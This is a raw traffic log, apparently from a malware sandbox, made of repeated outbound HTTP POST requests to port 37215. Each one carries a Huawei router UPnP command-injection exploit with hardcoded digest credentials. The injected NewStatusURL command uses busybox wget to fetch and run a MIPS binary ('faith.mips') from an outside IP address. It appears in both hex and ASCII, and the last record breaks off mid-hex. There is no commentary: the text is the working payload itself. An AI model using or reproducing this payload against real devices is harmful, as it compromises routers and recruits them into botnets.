Jan 22, 2024 04:02:11.820684910 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:25.804708004 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:53.740727901 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.20	41286	156.247.22.144	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:02:00.574234009 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:02.088673115 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:03.908885956 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:07.548746109 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:14.828739882 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:29.388768911 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:02:58.476735115 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 